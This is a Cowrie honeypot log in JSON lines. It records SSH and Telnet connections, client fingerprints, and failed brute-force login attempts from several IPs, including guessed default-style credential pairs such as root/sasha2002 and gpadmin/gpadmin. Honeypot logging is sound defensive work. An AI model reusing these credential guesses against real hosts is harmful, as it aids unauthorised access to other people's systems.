{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:5a:a5:d4:a5:00:54:ec:d6:cc:8a:b4:23:f6:89:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz6G+T4GAX/wunIuaQqsSZrwVhg5DlX1LHTg1TnaVgVmMTfYYUZXTrrbS2quMnUuiTZrOmtw1k/BhOTQgqjwWCwEnFhwQZqXLbc/1QPjrUlH+k4RRbPtzm6X2R2IQyDHp/4dzY4w4WZIT3wejmBx88tdMdUqdxw/2xw0pQd+si5FbhJ/5Lotbt9AIJCXb3GwiUTo3rn8euHw7v1WvvAlN/OIlAh9kHjxYHKo35vgHRCmTSIPq53QB9oKkK3X+KWxLi1NrgYC1c7JiZOKHsDhe1qT/UMAL1+eFvdKgmjYIiCdqTF8vI4I39FGPI4PyasU2h5nYm8n/LKiT/GwIRp6kh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:5a:a5:d4:a5:00:54:ec:d6:cc:8a:b4:23:f6:89:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.217783Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:5a:a5:d4:a5:00:54:ec:d6:cc:8a:b4:23:f6:89:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz6G+T4GAX/wunIuaQqsSZrwVhg5DlX1LHTg1TnaVgVmMTfYYUZXTrrbS2quMnUuiTZrOmtw1k/BhOTQgqjwWCwEnFhwQZqXLbc/1QPjrUlH+k4RRbPtzm6X2R2IQyDHp/4dzY4w4WZIT3wejmBx88tdMdUqdxw/2xw0pQd+si5FbhJ/5Lotbt9AIJCXb3GwiUTo3rn8euHw7v1WvvAlN/OIlAh9kHjxYHKo35vgHRCmTSIPq53QB9oKkK3X+KWxLi1NrgYC1c7JiZOKHsDhe1qT/UMAL1+eFvdKgmjYIiCdqTF8vI4I39FGPI4PyasU2h5nYm8n/LKiT/GwIRp6kh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.221925Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.295168Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea922407ea6","protocol":"telnet","message":"New connection: 152.42.224.71:37636 (10.17.0.5:23) [session: 8ea922407ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.458730Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38860,"dst_ip":"159.203.135.109","dst_port":22,"session":"362ed2ac495e","protocol":"ssh","message":"New connection: 31.40.204.166:38860 (159.203.135.109:22) [session: 362ed2ac495e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:18.183452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:18.198779Z","src_ip":"31.40.204.166","session":"362ed2ac495e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:18.313062Z","src_ip":"31.40.204.166","session":"362ed2ac495e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:19.236584Z","src_ip":"31.40.204.166","session":"362ed2ac495e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:20.394268Z","src_ip":"31.40.204.166","session":"362ed2ac495e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.039800643920898,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:21.875715Z","src_ip":"152.42.224.71","session":"3f2efe6d3272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.190245628356934,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:23.802860Z","src_ip":"152.42.224.71","session":"2c2726a9a27a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00398349761963,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:26.362325Z","src_ip":"152.42.224.71","session":"e7c09505faa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.88727521896362,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:27.852519Z","src_ip":"152.42.224.71","session":"b27007298c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"00acdf7eb207","protocol":"telnet","message":"New connection: 152.42.224.71:38788 (10.17.0.5:23) [session: 00acdf7eb207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:28.063239Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57580,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5f7ba22951","protocol":"ssh","message":"New connection: 31.40.204.166:57580 (159.203.135.109:22) [session: 3c5f7ba22951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:30.007527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:30.099533Z","src_ip":"31.40.204.166","session":"3c5f7ba22951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:30.207126Z","src_ip":"31.40.204.166","session":"3c5f7ba22951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:30.820685Z","src_ip":"31.40.204.166","session":"3c5f7ba22951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.21555233001709,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:31.264325Z","src_ip":"152.42.224.71","session":"f9f696ef2249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.64375925064087,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:31.779545Z","src_ip":"152.42.224.71","session":"df3c0c3d65b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:32.094923Z","src_ip":"31.40.204.166","session":"3c5f7ba22951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce85edbe569","protocol":"telnet","message":"New connection: 152.42.224.71:38800 (10.17.0.5:23) [session: 6ce85edbe569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:32.594836Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55972,"dst_ip":"159.203.135.109","dst_port":22,"session":"c34000f4cc91","protocol":"ssh","message":"New connection: 103.15.222.183:55972 (159.203.135.109:22) [session: c34000f4cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:38.625956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:38.630719Z","src_ip":"103.15.222.183","session":"c34000f4cc91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:38.879443Z","src_ip":"103.15.222.183","session":"c34000f4cc91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2002","message":"login attempt [root/sasha2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:39.628411Z","src_ip":"103.15.222.183","session":"c34000f4cc91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:40.880070Z","src_ip":"103.15.222.183","session":"c34000f4cc91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.11583256721497,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:40.966036Z","src_ip":"152.42.224.71","session":"9bc1f3f651b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.20638728141785,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:41.190441Z","src_ip":"152.42.224.71","session":"b38b61d10905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52888,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a4a470e319","protocol":"ssh","message":"New connection: 31.40.204.166:52888 (159.203.135.109:22) [session: 73a4a470e319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:41.521950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:41.526892Z","src_ip":"31.40.204.166","session":"73a4a470e319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:41.699045Z","src_ip":"31.40.204.166","session":"73a4a470e319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:42.117401Z","src_ip":"31.40.204.166","session":"73a4a470e319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.39056587219238,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:42.144769Z","src_ip":"152.42.224.71","session":"3defe1047b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:43.297574Z","src_ip":"31.40.204.166","session":"73a4a470e319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42616,"dst_ip":"10.17.0.5","dst_port":23,"session":"686c554b2397","protocol":"telnet","message":"New connection: 152.42.224.71:42616 (10.17.0.5:23) [session: 686c554b2397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:46.012714Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52388,"dst_ip":"159.203.135.109","dst_port":22,"session":"3451dcd1de20","protocol":"ssh","message":"New connection: 87.251.79.125:52388 (159.203.135.109:22) [session: 3451dcd1de20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:48.406194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:48.410712Z","src_ip":"87.251.79.125","session":"3451dcd1de20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:48.483188Z","src_ip":"87.251.79.125","session":"3451dcd1de20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"363636","message":"login attempt [root/363636] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:48.706431Z","src_ip":"87.251.79.125","session":"3451dcd1de20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48038,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ed2c17514b","protocol":"telnet","message":"New connection: 152.42.224.71:48038 (10.17.0.5:23) [session: 47ed2c17514b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:49.359647Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:49.781057Z","src_ip":"87.251.79.125","session":"3451dcd1de20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42348,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c371055eca1","protocol":"ssh","message":"New connection: 31.40.204.166:42348 (159.203.135.109:22) [session: 4c371055eca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:53.007584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:53.108014Z","src_ip":"31.40.204.166","session":"4c371055eca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:53.208886Z","src_ip":"31.40.204.166","session":"4c371055eca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:53.784726Z","src_ip":"31.40.204.166","session":"4c371055eca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:54.918158Z","src_ip":"31.40.204.166","session":"4c371055eca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.085509061813354,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:59.544129Z","src_ip":"152.42.224.71","session":"8ea922407ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.95879435539246,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:59.549591Z","src_ip":"152.42.224.71","session":"3e54fdf92d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54298,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba0817b5385","protocol":"telnet","message":"New connection: 152.42.224.71:54298 (10.17.0.5:23) [session: 1ba0817b5385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:32:00.083373Z"}
